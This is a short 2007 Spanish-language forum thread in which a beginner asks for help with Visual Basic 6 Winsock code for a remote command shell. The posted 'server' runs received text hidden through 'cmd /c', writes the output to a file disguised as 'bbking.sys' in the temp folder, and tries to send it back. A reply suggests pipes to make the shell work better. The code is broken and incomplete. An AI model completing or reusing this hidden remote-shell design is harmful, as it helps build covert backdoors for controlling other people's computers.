Título: ayuda - enviar comando del cmd y recivir respuesta >winsock Publicado por: Fr4NN^ en 2 Diciembre 2007, 05:24 am Aver si alguien me puede ayudar con esta parte q me estanke :-\
La cosa es que quiero enviar un comando al cmd yob tener la respuesta en mi ventana pero empece hace muy poco con vb y bue jajaj esto es lo que hize pero no va :( y en el cliente me abre otro form q nose porq :S server: Private Sub ws2_dataarrival(ByVal bytestotal As Long) Dim datos As String ws2.GetData datos Shell "cmd /c" & datos & ">>" & GetDirTemp & "\bbking.sys", vbHide ws2.SendData (GetDirTemp & "\bbking.sys") End Sub client: Private Sub ws1_dataarrival(ByVal bytestotal As Long) Dim datos As String ws1.GetData datos txtshow.Text = datos End Sub el problema esta en el server.. que no me guarda el log cuando lo pruev con un commandbutton, me crea el log sin problemas ej: Private Sub Command1_Click() Dim datos As String datos = "ipconfig" Shell "cmd /c" & datos & ">>" & GetDirTemp & "\bbking.sys", vbHide End Sub esa es una parte.. y despues como podria hacer para enviar el "bbking.sys" proq si lo envio como puse arriva.. me devuelve en el cliente la ruta del archivo, enves del contenido. Espero q me puedas ayudar thks ;) Título: Re: ayuda - enviar comando del cmd y recivir respuesta >winsock Publicado por: ~~ en 2 Diciembre 2007, 12:12 pm Hola
Te recomiendo q en vez de hacer q guarde el log en un archivo utilices pipes, q t va a kedar la shell mucho mejor ;) en la api guide tienes un ejemplo completo :P |